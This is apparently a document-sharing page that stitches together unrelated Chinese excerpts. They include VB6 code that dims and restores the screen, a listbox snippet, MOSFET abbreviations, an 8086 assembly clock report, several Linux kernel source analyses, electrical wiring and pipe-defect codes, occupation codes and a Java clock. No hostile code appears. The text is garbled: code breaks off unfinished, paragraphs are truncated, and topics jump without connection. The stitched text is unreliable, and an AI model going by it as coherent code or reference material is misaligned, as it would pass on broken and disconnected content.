
Private Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long

Private Declare Function CreatePatternBrush Lib "gdi32" (ByVal hBitmap As Long) As Long

Private Declare Function PatBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function CreateBitmap Lib "gdi32" (ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Long, ByVal nBitCount As Long, lpBits As Any) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function InvalidateRect Lib "user32" (ByVal hwnd As Long, ByVal lpRect As Long, ByVal bErase As Long) As Long

Private bybits(1 To 16) As Byte

Private hBitmap As Long, hBrush As Long

Private hDesktopWnd As Long

Private Sub Command1_Click()

Dim rop As Long, res As Long

Dim hdc5 As Long, width5 As Long, height5 As Long

hdc5 = GetDC(0)

width5 = Screen.Width \ Screen.TwipsPerPixelX

height5 = Screen.Height \ Screen.TwipsPerPixelY

rop = &HA000C9

Call SelectObject(hdc5, hBrush)

res = PatBlt(hdc5, 0, 0, width5, height5, rop)

Call DeleteObject(hBrush)

res = ReleaseDC(0, hdc5)

End Sub

Private Sub Command2_Click()

Dim aa As Long

aa = InvalidateRect(0, 0, 1)

End Sub

Private Sub FORM_Load()

Dim ary

Dim i As Long

ary = Array(&H55, &H0, &HAA, &H0, _

&H55, &H0, &HAA, &H0, _

&H55, &H0, &HAA, &H0, _

&H55, &H0, &HAA, &H0)

For i = 1 To 16

bybits(i) = ary(i - 1)

Next i

hBitmap = CreateBitmap(8, 8, 1, 1, bybits(1))

hBrush = CreatePatternBrush(hBitmap)

Picture1.ForeColor = RGB(0, 0, 0)

Picture1.BackColor = RGB(255, 255, 255)

Picture1.ScaleMode = 3

End Sub

'运行程序,按Command1就可以使屏幕暗下来,按Command2恢复。

'--------------------------------------------------

'使两个列表框(ListBox)的选项同步步骤1

'在FORM中添加两个ListBox和一个CommandButton一个Timer,不要改动他们的属性. 步骤2

在FORM中添加如下代码:

Private Sub FORM_Load()

Dim x As Integer

For x = 1 To 26

list1.AddItem Chr$(x + 64)

Next x

For x = 1 To 26

List2.AddItem Chr$(x + 64)

Next x

Timer1.INTERVAL = 1

Timer1.Enabled = True

电子代码简写

Cds---漏-源电容 Cdu---漏-衬底电容 Cgd---栅-源电容 Cgs---漏-源电容 Ciss---栅短路共源输入电容 Coss---栅短路共源输出电容 Crss---栅短路共源反向传输电容 D---占空比(占空係数,外电路参数) di/dt---电流上升率(外电路参数) dv/dt---电压上升率(外电路参数) ID---漏极电流(直流) IDM---漏极脉冲电流 ID(on)---通态漏极电流 IDQ---静态漏极电流(射频功率管) IDS---漏源电流 IDSM---最大漏源电流 IDSS---栅-源短路时,漏极电流 IDS(sat)---沟道饱和电流(漏源饱和电流)IG---栅极电流(直流) IGF---正向栅电流 IGR---反向栅电流 IGDO---源极开路时,截止栅电流 IGSO---漏极开路时,截止栅电流 IGM---栅极脉冲电流 IGP---栅极峰值电流 IF---二极体正向电流 IGSS---漏极短路时截止栅电流 IDSS1---对管第一管漏源饱和电流 IDSS2---对管第二管漏源饱和电流 Iu---衬底电流 Ipr---电流脉冲峰值(外电路参数) gfs---正向跨导 Gp---功率增益 Gps---共源极中和高频功率增益 GpG---共栅极中和高频功率增益 GPD---共漏极中和高频功率增益 ggd---栅漏电导 gds---漏源电导 K---失调电压温度係数 Ku---传输係数 L---负载电感(外电路参数) LD---漏极电感 Ls---源极电感 rDS---漏源电阻

rDS(on)---漏源通态电阻 rDS(of)---漏源断态电阻 rGD---栅漏电阻 rGS---栅源电阻 Rg---栅极外接电阻(外电路参数) RL---负载电阻(外电路参数) R(th)jc---结壳热阻 R(th)ja---结环热阻 PD---漏极耗散功率 PDM---漏极最大允许耗散功率 PIN--输入功率 POUT---输出功率 PPK---脉冲功率峰值(外电路参数) to(on)---开通延迟时间 td(off)---关断延迟时间 ti---上升时间 ton---开通时间 toff---关断时间 tf---下降时间 trr---反向恢復时间 Tj---结温 Tjm---最大允许结温 Ta---环境温度 Tc---管壳温度 Tstg---贮成温度 VDS---漏源电压(直流) VGS---栅源电压(直流) VGSF--正向栅源电压(直流) VGSR---反向栅源电压(直流) VDD---漏极(直流)电源电压(外电路参数)VGG---栅极(直流)电源电压(外电路参数)Vss---源极(直流)电源电压(外电路参数)VGS(th)---开啟电压或阀电压 V(BR)DSS---漏源击穿电压 V(BR)GSS---漏源短路时栅源击穿电压VDS(on)---漏源通态电压 VDS(sat)---漏源饱和电压 VGD---栅漏电压(直流) Vsu---源衬底电压(直流) VDu---漏衬底电压(直流) VGu---栅衬底电压(直流) Zo---驱动源内阻 η---漏极效率(射频功率管) Vn---杂讯电压

电子时钟代码

西安邮电大学 硬件课程设计报告 院系名称:计算机学院 学生姓名:王哲 指导老师:杨锐 班级:0901 学号: 时间:

porta equ1400h portb equ1401h portc equ1402h portcontrol equ1403h timer0equ1440h timer1equ1441h timer2equ1442h timer_control equ1443h ;------------------------------------------------------------- data segment ledbuf db3fh,06h,5bh,4fh,66h,6dh,7dh,07h,7fh,6fh;段码 datbuf db00h,00h,00h,00h;存放要显示4位 copybuf db00h,00h,00h,00h data ends ;-------------------------------------------------------------- code segment assume cs:code,ds:data ;--------------------------------------- start:mov ax,data mov ds,ax call read_cmos call p8254 mov dx,portcontrol;将8255设为A\B口输出,A为段码输出,B为位码输出 mov al,10000001B out dx,al ;--------------------------------------------------------------- loop2:call disp mov dx,1402h in al,dx mov bl,al and bl,02h test bl,02h jnz reset mov bh,al and bh,04h test bh,04h

Linux操作系统源代码详细分析

linux源代码分析:Linux操作系统源代码详细分析 疯狂代码 https://www.wendangku.net/doc/8d1981392.html,/ ?:http:/https://www.wendangku.net/doc/8d1981392.html,/Linux/Article28378.html 内容介绍: Linux 拥有现代操作系统所有功能如真正抢先式多任务处理、支持多用户内存保护虚拟内存支持SMP、UP符合POSIX标准联网、图形用户接口和桌面环境具有快速性、稳定性等特点本书通过分析Linux内核源代码充分揭示了Linux作为操作系统内核是如何完成保证系统正常运行、协调多个并发进程、管理内存等工作现实中能让人自由获取系统源代码并不多通过本书学习将大大有助于读者编写自己新 第部分 Linux 内核源代码 arch/i386/kernel/entry.S 2 arch/i386/kernel/init_task.c 8 arch/i386/kernel/irq.c 8 arch/i386/kernel/irq.h 19 arch/i386/kernel/process.c 22 arch/i386/kernel/signal.c 30 arch/i386/kernel/smp.c 38 arch/i386/kernel/time.c 58 arch/i386/kernel/traps.c 65 arch/i386/lib/delay.c 73 arch/i386/mm/fault.c 74 arch/i386/mm/init.c 76 fs/binfmt-elf.c 82 fs/binfmt_java.c 96 fs/exec.c 98 /asm-generic/smplock.h 107 /asm-i386/atomic.h 108 /asm- i386/current.h 109 /asm-i386/dma.h 109 /asm-i386/elf.h 113 /asm-i386/hardirq.h 114 /asm- i386/page.h 114 /asm-i386/pgtable.h 115 /asm-i386/ptrace.h 122 /asm-i386/semaphore.h 123 /asm-i386/shmparam.h 124 /asm-i386/sigcontext.h 125 /asm-i386/siginfo.h 125 /asm-i386/signal.h 127 /asm-i386/smp.h 130 /asm-i386/softirq.h 132 /asm-i386/spinlock.h 133 /asm-i386/system.h 137 /asm-i386/uaccess.h 139 //binfmts.h 146 //capability.h 147 /linux/elf.h 150 /linux/elfcore.h 156 /linux/errupt.h 157 /linux/kernel.h 158 /linux/kernel_stat.h 159 /linux/limits.h 160 /linux/mm.h 160 /linux/module.h 164 /linux/msg.h 168 /linux/personality.h 169 /linux/reboot.h 169 /linux/resource.h 170 /linux/sched.h 171 /linux/sem.h 179 /linux/shm.h 180 /linux/signal.h 181 /linux/slab.h 184 /linux/smp.h 184 /linux/smp_lock.h 185 /linux/swap.h 185 /linux/swapctl.h 187 /linux/sysctl.h 188 /linux/tasks.h 194 /linux/time.h 194 /linux/timer.h 195 /linux/times.h 196 /linux/tqueue.h 196 /linux/wait.h 198 init/.c 198 init/version.c 212 ipc/msg.c 213 ipc/sem.c 218 ipc/shm.c 227 ipc/util.c 236 kernel/capability.c 237 kernel/dma.c 240 kernel/exec_do.c 241 kernel/exit.c 242 kernel/fork.c 248 kernel/info.c 255 kernel/itimer.c 255 kernel/kmod.c 257 kernel/module.c 259 kernel/panic.c 270 kernel/prk.c 271 kernel/sched.c 275 kernel/signal.c 295 kernel/softirq.c 307 kernel/sys.c 307 kernel/sysctl.c 318 kernel/time.c 330 mm/memory.c 335 mm/mlock.c 345 mm/mmap.c 348 mm/mprotect.c 358 mm/mremap.c 361 mm/page_alloc.c 363 mm/page_io.c 368 mm/slab.c 372 mm/swap.c 394 mm/swap_state.c 395 mm/swapfile.c 398 mm/vmalloc.c 406 mm/vmscan.c 409

最全电气代码和电气符号

. SR:沿钢线槽敷设 BE:沿屋架或跨屋架敷设 CLE:沿柱或跨柱敷设 WE:沿墙面敷设 CE:沿天棚面或顶棚面敷设 ACE:在能进入人的吊顶内敷设 BC:暗敷设在梁内 CLC:暗敷设在柱内 WC:暗敷设在墙内 CC:暗敷设在顶棚内 ACC:暗敷设在不能进入的顶棚内 FC:暗敷设在地面内 SCE:吊顶内敷设,要穿金属管 一,导线穿管表示 SC-焊接钢管 MT-电线管 PC-PVC塑料硬管 FPC-阻燃塑料硬管 CT-桥架 MR-金属线槽 M-钢索

CP-金属软管 PR-塑料线槽 RC-镀锌钢管 二,导线敷设方式的表示DB-直埋 TC-电缆沟 BC-暗敷在梁内 CLC-暗敷在柱内 WC-暗敷在墙内 CE-沿天棚顶敷设 CC-暗敷在天棚顶内 SCE-吊顶内敷设 F-地板及地坪下 SR-沿钢索 BE-沿屋架,梁 WE-沿墙明敷 三,灯具安装方式的表示CS-链吊 DS-管吊 W-墙壁安装 C-吸顶 R-嵌入 S-支架

CL-柱上 沿钢线槽:SR 沿屋架或跨屋架:BE 沿柱或跨柱:CLE 穿焊接钢管敷设:SC 穿电线管敷设:MT 穿硬塑料管敷设:PC 穿阻燃半硬聚氯乙烯管敷设:FPC 电缆桥架敷设:CT 金属线槽敷设:MR 塑料线槽敷设:PR 用钢索敷设:M 穿聚氯乙烯塑料波纹电线管敷设:KPC 穿金属软管敷设:CP 直接埋设:DB 电缆沟敷设:TC 导线敷设部位的标注 沿或跨梁(屋架)敷设:AB 暗敷在梁内:BC 沿或跨柱敷设:AC 暗敷设在柱内:CLC 沿墙面敷设:WS 暗敷设在墙内:WC

沿天棚或顶板面敷设:CE 暗敷设在屋面或顶板内:CC 吊顶内敷设:SCE 地板或地面下敷设:FC HSM8-63C/3P DTQ30-32/2P 这两个应该是两种塑壳断路器的型号, HSM8-63C/3P 适用于照明回路中,为3极开关,额定电流为63A(3联开关)DTQ30-32/2P 也是塑壳断路器的一种,额定电流32A,2极开关 其他那些符号都是关于导线穿管和敷设方式的一些表示方法,你对照着查一下矿用铠装控制电缆;MKVV22,MKVV32 2*0.5,3*0.75,4*4,------37*1.5mm 铠装控制电缆;KVV22,KVV32,KVVR22 2*0.5,3*0.75,4*4,------37*1.5mm 铠装屏蔽控制电缆KVVP-22,RVVP-22,KVVRP-22,KVVP2-22,KVVRP2-22 2*0.5,3*0.75,4*4,------37*1.5mm 铠装阻燃控制电缆;ZR-KVV22,ZR-KVV32,ZR-KVVR22 2*0.5,3*0.75,4*4,------37*1.5mm 铠装阻燃屏蔽控制电缆; ZR-KVVP22,ZR-KVVRP22,ZR-KVVP2-22,ZR-KVVRP2-22 2*0.5,3*0.75,4*4,------37*1.5mm 铠装通信电缆;HYA22,HYA23,HYA53,HYV22,HYV23 5对,10对------2400 对,0.4-0.5-0.6-0.7-0.8-0.9线径 铠装充油通信电缆;HYAT22,HYAT23,NYAT53 5对,10对------800对 0.4-0.5-0.6-0.7-0.8-0.9线径 铠装阻燃通信电缆;

检测项目名称、代码及等级

8.2 检测项目名称、代码及等级 8.2.1 本规程已规定的代码应采用两个汉字拼音首个字母组合表示, 未规定的代码应采用与此相同的确定原则,但不得与已规定的代码重名。 8.2.2管道缺陷等级应按表8.2.2规定分类。 表8.2.2 缺陷等级分类表 等级 缺陷性质 1 23 4 结构性缺陷程度轻微缺陷中等缺陷严重缺陷重大缺陷功能性缺陷程度轻微缺陷中等缺陷严重缺陷重大缺陷 8.2.3结构性缺陷的名称、代码、等级划分及分值应符合表8.2.3的 规定。 表8.2.3 结构性缺陷名称、代码、等级划分及分值 缺陷名称缺陷 代码 定义 等 级 缺陷描述分值 破裂PL 管道的外部压 力超过自身的承 受力致使管子发 生破裂。其形式 有纵向、环向和 复合3种 1 裂痕—当下列一个或多个情况存在时: 1)在管壁上可见细裂痕; 2)在管壁上由细裂缝处冒出少量沉积物; 3)轻度剥落。 0.5 2 裂口—破裂处已形成明显间隙,但管道的形状 未受影响且破裂无脱落。 2 3 破碎—管壁破裂或脱落处所剩碎片的环向覆盖 范围不大于弧长60 o。 5 4 坍塌—当下列一个或多个情况存在时: 1)管道材料裂痕、裂口或破碎处边缘环向覆盖 范围大于弧长60o; 2)管壁材料发生脱落的环向范围大于弧长60o。 10 变形BX 管道受外力挤 1 变形不大于管道直径的5%。 1

压造成形状变异 2 变形为管道直径的5%~15% 。 2 3 变形为管道直径的15%~25% 。 5 4 变形大于管道直径的25%。10 腐蚀FS 管道内壁受侵 蚀而流失或剥 落,出现麻面或 露出钢筋 1 轻度腐蚀—表面轻微剥落,管壁出现凹凸面。0.5 2 中度腐蚀—表面剥落显露粗骨料或钢筋。 2 3 重度腐蚀—粗骨料或钢筋完全显露。 5 错口CK 同一接口的两 个管口产生横向 偏差,未处于管 道的正确位置 1 轻度错口—相接的两个管口偏差不大于管壁厚 度的1/2 。 0.5 2 中度错口—相接的两个管口偏差为管壁厚度的 1/2~1之间。 2 3 重度错口—相接的两个管口偏差为管壁厚度的 1~2倍之间。 5 4 严重错口—相接的两个管口偏差为管壁厚度的 2倍以上。 10 起伏QF 接口位置偏 移,管道竖向位 置发生变化,在 低处形成洼水 1 起伏高/管径≤20% 。0.5 2 20%<起伏高/管径≤35% 。 2 3 35%<起伏高/管径≤50% 。 5 4 起伏高/管径>50% 。10 续表8.2.3 缺陷名称缺陷 代码 定义等级缺陷描述分值 脱节TJ 两根管道的端 部未充分接合或 接口脱离 1 轻度脱节—管道端部有少量泥土挤入。 1 2 中度脱节—脱节距离不大于20mm 。 3 3 重度脱节—脱节距离为20mm ~50mm 。 5 4 严重脱节—脱节距离为50mm以上。10 接口材料脱落TL 橡胶圈、沥青、 水泥等类似的接 口材料进入管道 1 接口材料在管道内水平方向中心线上部可 见。 1 2 接口材料在管道内水平方向中心线下部可 见。 3

linux内核IMQ源码实现分析

本文档的Copyleft归wwwlkk所有,使用GPL发布,可以自由拷贝、转载,转载时请保持文档的完整性,严禁用于任何商业用途。 E-mail: wwwlkk@https://www.wendangku.net/doc/8d1981392.html, 来源: https://www.wendangku.net/doc/8d1981392.html,/?business&aid=6&un=wwwlkk#7 linux2.6.35内核IMQ源码实现分析 (1)数据包截留并重新注入协议栈技术 (1) (2)及时处理数据包技术 (2) (3)IMQ设备数据包重新注入协议栈流程 (4) (4)IMQ截留数据包流程 (4) (5)IMQ在软中断中及时将数据包重新注入协议栈 (7) (6)结束语 (9) 前言:IMQ用于入口流量整形和全局的流量控制,IMQ的配置是很简单的,但很少人分析过IMQ的内核实现,网络上也没有IMQ的源码分析文档,为了搞清楚IMQ的性能,稳定性,以及借鉴IMQ的技术,本文分析了IMQ的内核实现机制。 首先揭示IMQ的核心技术: 1.如何从协议栈中截留数据包,并能把数据包重新注入协议栈。 2.如何做到及时的将数据包重新注入协议栈。 实际上linux的标准内核已经解决了以上2个技术难点,第1个技术可以在NF_QUEUE机制中看到,第二个技术可以在发包软中断中看到。下面先介绍这2个技术。 (1)数据包截留并重新注入协议栈技术

(2)及时处理数据包技术 QoS有个技术难点:将数据包入队,然后发送队列中合适的数据包,那么如何做到队列中的数

激活状态的队列是否能保证队列中的数据包被及时的发送吗?接下来看一下,激活状态的队列的 证了数据包会被及时的发送。 这是linux内核发送软中断的机制,IMQ就是利用了这个机制,不同点在于:正常的发送队列是将数据包发送给网卡驱动,而IMQ队列是将数据包发送给okfn函数。

读Linux内核源代码

Linux内核分析方法 Linux的最大的好处之一就是它的源码公开。同时,公开的核心源码也吸引着无数的电脑爱好者和程序员;他们把解读和分析Linux的核心源码作为自己的最大兴趣,把修改Linux源码和改造Linux系统作为自己对计算机技术追求的最大目标。 Linux内核源码是很具吸引力的,特别是当你弄懂了一个分析了好久都没搞懂的问题;或者是被你修改过了的内核,顺利通过编译,一切运行正常的时候。那种成就感真是油然而生!而且,对内核的分析,除了出自对技术的狂热追求之外,这种令人生畏的劳动所带来的回报也是非常令人着迷的,这也正是它拥有众多追随者的主要原因: ?首先,你可以从中学到很多的计算机的底层知识,如后面将讲到的系统的引导和硬件提供的中断机制等;其它,象虚拟存储的实现机制,多任务机制,系统保护机制等等,这些都是非都源码不能体会的。 ?同时,你还将从操作系统的整体结构中,体会整体设计在软件设计中的份量和作用,以及一些宏观设计的方法和技巧:Linux的内核为上层应用提供一个与具体硬件不相关的平台; 同时在内核内部,它又把代码分为与体系结构和硬件相关的部分,和可移植的部分;再例如,Linux虽然不是微内核的,但他把大部分的设备驱动处理成相对独立的内核模块,这样减小了内核运行的开销,增强了内核代码的模块独立性。 ?而且你还能从对内核源码的分析中,体会到它在解决某个具体细节问题时,方法的巧妙:如后面将分析到了的Linux通过Botoom_half机制来加快系统对中断的处理。 ?最重要的是:在源码的分析过程中,你将会被一点一点地、潜移默化地专业化。一个专业的程序员,总是把代码的清晰性,兼容性,可移植性放在很重要的位置。他们总是通过定义大量的宏,来增强代码的清晰度和可读性,而又不增加编译后的代码长度和代码的运行效率; 他们总是在编码的同时,就考虑到了以后的代码维护和升级。甚至,只要分析百分之一的代码后,你就会深刻地体会到,什么样的代码才是一个专业的程序员写的,什么样的代码是一个业余爱好者写的。而这一点是任何没有真正分析过标准代码的人都无法体会到的。 然而,由于内核代码的冗长,和内核体系结构的庞杂,所以分析内核也是一个很艰难,很需要毅力的事;在缺乏指导和交流的情况下,尤其如此。只有方法正确,才能事半功倍。正是基于这种考虑,作者希望通过此文能给大家一些借鉴和启迪。 由于本人所进行的分析都是基于2.2.5版本的内核;所以,如果没有特别说明,以下分析都是基于i386单处理器的2.2.5版本的Linux内核。所有源文件均是相对于目录/usr/src/linux的。 方法之一:从何入手 要分析Linux内核源码,首先必须找到各个模块的位置,也即要弄懂源码的文件组织形式。虽然对于有经验的高手而言,这个不是很难;但对于很多初级的Linux爱好者,和那些对源码分析很

Linux内核源代码阅读与工具介绍

Linux的内核源代码可以从很多途径得到。一般来讲,在安装的linux系统下,/usr/src/linux 目录下的东西就是内核源代码。另外还可以从互连网上下载,解压缩后文件一般也都位于linux目录下。内核源代码有很多版本,目前最新的版本是2.2.14。 许多人对于阅读Linux内核有一种恐惧感,其实大可不必。当然,象Linux内核这样大而复杂的系统代码,阅读起来确实有很多困难,但是也不象想象的那么高不可攀。只要有恒心,困难都是可以克服的。任何事情做起来都需要有方法和工具。正确的方法可以指导工作,良好的工具可以事半功倍。对于Linux内核源代码的阅读也同样如此。下面我就把自己阅读内核源代码的一点经验介绍一下,最后介绍Window平台下的一种阅读工具。 对于源代码的阅读,要想比较顺利,事先最好对源代码的知识背景有一定的了解。对于linux内核源代码来讲,基本要求是:⑴操作系统的基本知识;⑵对C语言比较熟悉,最好要有汇编语言的知识和GNU C对标准C的扩展的知识的了解。另外在阅读之前,还应该知道Linux内核源代码的整体分布情况。我们知道现代的操作系统一般由进程管理、内存管理、文件系统、驱动程序、网络等组成。看一下Linux内核源代码就可看出,各个目录大致对应了这些方面。Linux内核源代码的组成如下(假设相对于linux目录): arch这个子目录包含了此核心源代码所支持的硬件体系结构相关的核心代码。如对于X86平台就是i386。 include这个目录包括了核心的大多数include文件。另外对于每种支持的体系结构分别有一个子目录。 init此目录包含核心启动代码。 mm此目录包含了所有的内存管理代码。与具体硬件体系结构相关的内存管理代码位于arch/*/mm目录下,如对应于X86的就是arch/i386/mm/fault.c。 drivers系统中所有的设备驱动都位于此目录中。它又进一步划分成几类设备驱动,每一种也有对应的子目录,如声卡的驱动对应于drivers/sound。 ipc此目录包含了核心的进程间通讯代码。 modules此目录包含已建好可动态加载的模块。 fs Linux支持的文件系统代码。不同的文件系统有不同的子目录对应,如ext2文件系统对应的就是ext2子目录。 kernel主要核心代码。同时与处理器结构相关代码都放在arch/*/kernel目录下。 net核心的网络部分代码。里面的每个子目录对应于网络的一个方面。 lib此目录包含了核心的库代码。与处理器结构相关库代码被放在arch/*/lib/目录下。

linux源代码分析实验报告格式

linux源代码分析实验报告格式

Linux的fork、exec、wait代码的分析 指导老师:景建笃 组员:王步月 张少恒 完成日期:2005-12-16

一、 设计目的 1.通过对Linux 的fork 、exec 、wait 代码的分析,了解一个操作系统进程的创建、 执行、等待、退出的过程,锻炼学生分析大型软件代码的能力; 2.通过与同组同学的合作,锻炼学生的合作能力。 二、准备知识 由于我们选的是题目二,所以为了明确分工,我们必须明白进程的定义。经过 查阅资料,我们得知进程必须具备以下四个要素: 1、有一段程序供其执行。这段程序不一定是进程专有,可以与其他进程共用。 2、有起码的“私有财产”,这就是进程专用的系统堆栈空间 3、有“户口”,这就是在内核中有一个task_struct 结构,操作系统称为“进程控制 块”。有了这个结构,进程才能成为内核调度的一个基本单位。同时,这个结构又 是进程的“财产登记卡”,记录着进程所占用的各项资源。 4、有独立的存储空间,意味着拥有专有的用户空间:进一步,还意味着除前述的 系统空间堆栈外,还有其专用的用户空间堆栈。系统为每个进程分配了一个 task_struct 结构,实际分配了两个连续的物理页面(共8192字节),其图如下: Struct task_struct (大约1K) 系统空间堆栈 (大约7KB )两个 连续 的物 理页 面 对这些基本的知识有了初步了解之后,我们按老师的建议,商量分工。如下: 四、 小组成员以及任务分配 1、王步月:分析进程的创建函数fork.c ,其中包含了get_pid 和do_fork get_pid, 写出代码分析结果,并画出流程图来表示相关函数之间的相互调用关系。所占工作 比例35%。 2、张少恒:分析进程的执行函数exec.c,其中包含了do_execve 。写出代码分析结 果,并画出流程图来表示相关函数之间的相互调用关系。所占工作比例35% 。 3、余波:分析进程的退出函数exit.c,其中包含了do_exit 、sys_wait4。写出代码 分析结果,并画出流程图来表示相关函数之间的相互调用关系。所占工作比例30% 。 五、各模块分析: 1、fork.c 一)、概述 进程大多数是由FORK 系统调用创建的.fork 能满足非常高效的生灭机制.除了 0进程等少数一,两个进程外,几乎所有的进程都是被另一个进程执行fork 系统调 用创建的.调用fork 的进程是父进程,由fork 创建的程是子进程.每个进程都有一

职业分类与代码(电子版)

职业分类与代码 仅供全国1%人口抽样2011年-2014年劳动力调查用 龙沙区统计局整理 2012年10月22日

职业分类与代码 1 范围 本标准规定了我国职业的分类结构、类别和代码,并附有相应说明。 本标准适用于按职业分类的各种普查、调查统计以及行政管理和国内外信息交流等。 2定义、 本标准采用下列定义。 职业0ccupation 从业人员为获取主要生活来源所从事的社会性工作的类别。 3职业分类的原则 职业分类是按从业人口本人所从事工作性质的同一性进行分类。 4职业分类的结构及其代码 4.1全国职业分类划分为大类、中类、小类三层。其中大类8个,中类65个,小类410个。 8个大类的排列顺序及名称如下: 第一大类:国家机关、党群组织、企业、事业单位负责人 第二大类:专业技术人员 第三大类:办事人员和有关人员 第四大类:商业、服务业人员 第五大类:农、林、牧、渔、水利业生产人员 第六大类:生产、运输设备操作人员及有关人员 第七大类:军人(05年全国1%人ISl抽样调查不用) 第八大类:不便分类的其他从业人员 4.2本职业分类采用三位代码。第一位表示大类;第二位表示中类;第三位表示小类。大类和中类之间用短线“一”隔开,以示区别。第一大类用0表示;第二大类用l/2表示,占l、2两个数字;第六大类用6/7/8/9表示,占用6、7、8、9四个数字;第八大类直接用90表示;其余各大类均占用一个数字。 5使用本职业分类的几点说明 5.1 同时从事一种以上职业的人员,以劳动时间较长的为其职业;如不能确定时间长短者,以经济收入较多的为其职业。在同一工作场所,从事一种以上职业的人员。以其技术性较高的工作为职业。 5.2学徒工应按其所学习和从事的工作种类进行划分。 5.3具有各类专业技术职务的人员,同时担任行政负责人的,按行政职务归类。 5.4对同时担任党和行政职务的领导干部,按主要职务归类。 6职业分类与代码及说明 表1:职业分类与代码表 表2:职业分类与代码说明

Linux源代码分析_存储管理

文章编号:1004-485X (2003)03-0030-04 收稿日期:2003-05-10 作者简介:王艳春,女(1964 ),副教授,主要从事操作系统、中文信息处理等方面的研究工作。 Linux 源代码分析 存储管理 王艳春 陈 毓 葛明霞 (长春理工大学计算机科学技术学院,吉林长春130022) 摘 要:本文剖析了Linux 操作系统的存储管理机制。给出了Linux 存储管理的特点、虚存的实现方法,以及主要数据结构之间的关系。 关键词:Linux 操作系统;存储管理;虚拟存储中图分类号:T P316 81 文献标识码:A Linux 操作系统是一种能运行于多种平台、源代码公开、免费、功能强大、与Unix 兼容的操作系统。自其诞生以来,发展非常迅速,在我国也受到政府、企业、科研单位、大专院校的重视。我们自2000年开始对Linux 源代码(版本号是Linux 2 2 16)进行分析,首先剖析了进程管理和存储管理部分,本文是有关存储管理的一部分。主要介绍了Linux 虚存管理所用到的数据结构及其相互间的关系,据此可以更好地理解其存储管理机制,也可以在此基础上对其进行改进或在此后的研究中提供借鉴作用。作为一种功能强大的操作系统,Linux 实现了以虚拟内存为主的内存管理机制。即能够克服物理内存的局限,使用户进程在透明方式下,拥有比实际物理内存大得多的内存。本文主要阐述了Linux 虚存管理的基本特点和主要实现技术,并分析了Linux 虚存管理的主要数据结构及其相互关系。 1 Lin ux 虚存管理概述 Linux 的内存管理采用虚拟页式管理,使用多级页表,动态地址变换。进程在运行过程中可以动态浮动和扩展,为用户提供了透明的、灵活有效的内存使用方式。 1)32 bit 虚拟地址 在Linux 中,进程的4GB 虚存需通过32 bit 地址进行寻址。Linux 中虚拟地址与线性地址为同一概念,虚拟地址被分成3个子位段,而大小为4k,如图1所示。 2)Linux 的多级页表结构 图1 32位虚拟地址 标准的Linux 的虚存页表为三级页表,依次为页目录(Pag e Directory PGD)、中间页目录(Pag e Middle Directory PMD )、页表(Page Table PT E )。在i386机器上Linux 的页表结构实际为两级,PGD 和PMD 页表是合二为一的。所有有关PMD 的操作关际上是对PGD 的操作。所以源代码中形如*_pgd _*()和*_pmd_*()函数实现的功能也是一样的。 页目录(PGD)是一个大小为4K 的表,每一个进程只有一个页目录,以4字节为一个表项,分成1024个表项(或称入口点),表项的索引即为32位虚拟地址的页目录,该表项的值为所指页表的起始地址。页表(PTE)的每一个入口点的值为此表项所指的一页框(page frame),页表项的索引即为32位虚拟地址中的页号。页框(page reame)并不是物理页,它指的是虚存的一个地址空间。 3) 页表项的格式 图2 Linux 中页目录项和页表项格式 4)动态地址映射 Linux 虚存采用动态地址映射方式,即进程的地址空间和存储空间的对应关系是在程序的执行过 第26卷第3期长春理工大学学报 Vol 26N o 32003年9月 Journal of Changchun University of Science and T echnology Sep.2003

java简易电子时钟代码

import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.util.*; import java.text.SimpleDateFormat; public class ClockJFrame extends JFrame{ private Date now=new Date(); Panel buttons=new Panel(); Button button_start=new Button("启动"); Button button_interrupt=new Button("停止"); Clock label=new Clock(); public ClockJFrame() //构造方法 { super("电子时钟"); this.setBounds(300,240,300,120); this.setDefaultCloseOperation(EXIT_ON_CLOSE); this.setLayout(new BorderLayout()); this.getContentPane().add("North",label);//初始化一个容器,用来在容器上添加一个标签 this.getContentPane().add("South",buttons); buttons.setLayout(new FlowLayout()); buttons.add(button_start); buttons.add(button_interrupt); setVisible(true); } private class Clock extends Label implements ActionListener,Runnable{ private Thread clocker=null; private Date now=new Date(); public Clock(){ button_start.addActionListener(this); button_interrupt.addActionListener(this); SimpleDateFormat dateFormat = new SimpleDateFormat("HH:mm:ss");//可以方便地修改日期格式 String t = dateFormat.format( now ); this.setText(t); } public void start(){ if(clocker==null){

Linux内核源码分析方法

Linux内核源码分析方法 一、内核源码之我见 Linux内核代码的庞大令不少人“望而生畏”,也正因为如此,使得人们对Linux的了解仅处于泛泛的层次。如果想透析Linux,深入操作系统的本质,阅读内核源码是最有效的途径。我们都知道,想成为优秀的程序员,需要大量的实践和代码的编写。编程固然重要,但是往往只编程的人很容易把自己局限在自己的知识领域内。如果要扩展自己知识的广度,我们需要多接触其他人编写的代码,尤其是水平比我们更高的人编写的代码。通过这种途径,我们可以跳出自己知识圈的束缚,进入他人的知识圈,了解更多甚至我们一般短期内无法了解到的信息。Linux内核由无数开源社区的“大神们”精心维护,这些人都可以称得上一顶一的代码高手。透过阅读Linux 内核代码的方式,我们学习到的不光是内核相关的知识,在我看来更具价值的是学习和体会它们的编程技巧以及对计算机的理解。 我也是通过一个项目接触了Linux内核源码的分析,从源码的分析工作中,我受益颇多。除了获取相关的内核知识外,也改变了我对内核代码的过往认知: 1.内核源码的分析并非“高不可攀”。内核源码分析的难度不在于源码本身,而在于如何使用更合适的分析代码的方式和手段。内核的庞大致使我们不能按照分析一般的demo程序那样从主函数开始按部就班的分析,我们需要一种从中间介入的手段对内核源码“各个击破”。这种“按需索取”的方式使得我们可以把握源码的主线,而非过度纠结于具体的细节。 2.内核的设计是优美的。内核的地位的特殊性决定着内核的执行效率必须足够高才可以响应目前计算机应用的实时性要求,为此Linux内核使用C语言和汇编的混合编程。但是我们都 